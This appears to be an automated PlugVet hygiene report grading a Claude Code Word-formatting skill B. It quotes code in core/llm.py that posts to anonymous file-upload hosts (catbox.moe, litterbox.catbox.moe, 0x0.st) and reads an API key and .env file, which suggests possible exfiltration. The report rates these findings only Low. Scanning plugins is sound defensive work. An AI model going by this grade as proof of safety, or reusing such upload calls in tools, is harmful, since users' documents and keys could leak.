Claude Code, Skill
Format Agent Skill
按规范文字、内置 Style Pack 或 Word 模板重排以段落和常规表格为主的中文/英文 Word 文稿。适用于公文、论文、普通报告、基础技术手册和法律 brief;可有损导入 .doc/.wps/.odt/.rtf。不要用于简历、表单、宣传册、Newsletter、海报、PDF 版面还原或内容控件应用。
Compatibility: Not stated.
Grade B
Minor issues only, no Medium or High. Worth a quick look at the findings below before installing.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 8dd726caba43, unchanged since the check below.
INSTALL_UNPINNED NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST SECRETS_PATH_DOTENV PERMISSION_SHELL_DECLARED SECRETS_ENV_READ OBFUSCATION_FILE_OVER_READ_CAP
Why this grade
- INSTALL_UNPINNED Low
Dependencies use a range or git URL with no lockfile.
requirements.txt, line 1
python-docx>=1.2,<2 - NETWORK_NO_FIXED_HOST Low
Makes a network call whose host is not written as a fixed address.
core/llm.py, line 118
r = requests.post("https://litterbox.catbox.moe/resources/internals/api.php", - NETWORK_UNNAMED_HOST Low
Calls a fixed host that the description does not name.
core/llm.py, line 118
r = requests.post("https://litterbox.catbox.moe/resources/internals/api.php", - SECRETS_PATH_DOTENV Low
Mentions a .env file.
core/llm.py, line 2
# 配置走环境变量(也可写在项目根目录 .env 文件里,.env 已被 gitignore): - PERMISSION_SHELL_DECLARED Note
Runs shell commands, and the manifest or description says so.
core/field_refresh.py, line 162
result = subprocess.run( - SECRETS_ENV_READ Note
Reads an environment variable whose name contains KEY, SECRET, TOKEN, PASSWORD or CREDENTIAL.
core/llm.py, line 155
self.api_key = api_key or os.environ.get("LLM_API_KEY") or "" - OBFUSCATION_FILE_OVER_READ_CAP Note
A file was over the read cap and was not fully read.
examples/模板-党委会议题样表.docx, line 1
PK ]�
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Note
requests shell access. The manifest names this permission.
PERMISSION_SHELL_DECLARED
core/field_refresh.py, line 162
result = subprocess.run(
core/input_conversion.py, line 159
result = subprocess.run(
core/input_conversion.py, line 213
result = subprocess.run(
Show more
core/render.py, line 45
result = subprocess.run(
core/render.py, line 82
result = subprocess.run(
core/render.py, line 307
result = subprocess.run(
core/render.py, line 385
probe = subprocess.run(
core/render.py, line 401
probe = subprocess.run(
Install and update
Concern
dependencies are not pinned.
INSTALL_UNPINNED
requirements.txt, line 1
python-docx>=1.2,<2
Network
Concern
can reach litterbox.catbox.moe. The description does not name that host. can reach catbox.moe. The description does not name that host. can reach 0x0.st. The description does not name that host. can reach a host that is not written as a fixed address.
NETWORK_NO_FIXED_HOST NETWORK_UNNAMED_HOST
core/llm.py, line 118
r = requests.post("https://litterbox.catbox.moe/resources/internals/api.php",
core/llm.py, line 129
r = requests.post("https://catbox.moe/user/api.php",
core/llm.py, line 140
r = requests.post("https://0x0.st",
Show more
core/llm.py, line 268
resp = requests.post(url, headers=headers, json=body, timeout=self.timeout)
core/llm.py, line 284
resp = requests.post(url, headers=headers, json=body, timeout=self.timeout)
Secrets
Concern
reads a credential or environment file.
SECRETS_ENV_READ SECRETS_PATH_DOTENV
core/llm.py, line 2
# 配置走环境变量(也可写在项目根目录 .env 文件里,.env 已被 gitignore):
core/llm.py, line 23
_DEFAULT_ENV_PATH = os.path.join(_PROJECT_ROOT, ".env")
core/llm.py, line 155
self.api_key = api_key or os.environ.get("LLM_API_KEY") or ""
Show more
core/llm.py, line 27
"""极简 .env 加载:KEY=VALUE 逐行读。
core/llm.py, line 29
override=True:以 .env 为准(Streamlit 这类长驻进程每次重跑时刷新配置用)。
core/llm.py, line 165
max_tokens = os.environ.get("LLM_MAX_TOKENS", "4096").strip()
.env.example, line 1
# OpenAI 兼容接口配置 - - 复制本文件为 .env 并填入你的 key(.env 已被 gitignore)
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Note
a file was over the read cap and was not fully read.
OBFUSCATION_FILE_OVER_READ_CAP
examples/模板-党委会议题样表.docx, line 1
PK ]�
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 8dd726caba43. requests shell access. The manifest names this permission. dependencies are not pinned. can reach litterbox.catbox.moe. The description does not name that host. can reach catbox.moe. The description does not name that host. can reach 0x0.st. The description does not name that host. can reach a host that is not written as a fixed address. reads a credential or environment file. a file was over the read cap and was not fully read.
Date and source
Date checked:
github.com
Commit graded: 8dd726caba43953579d386339765b9613ca6bd58
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.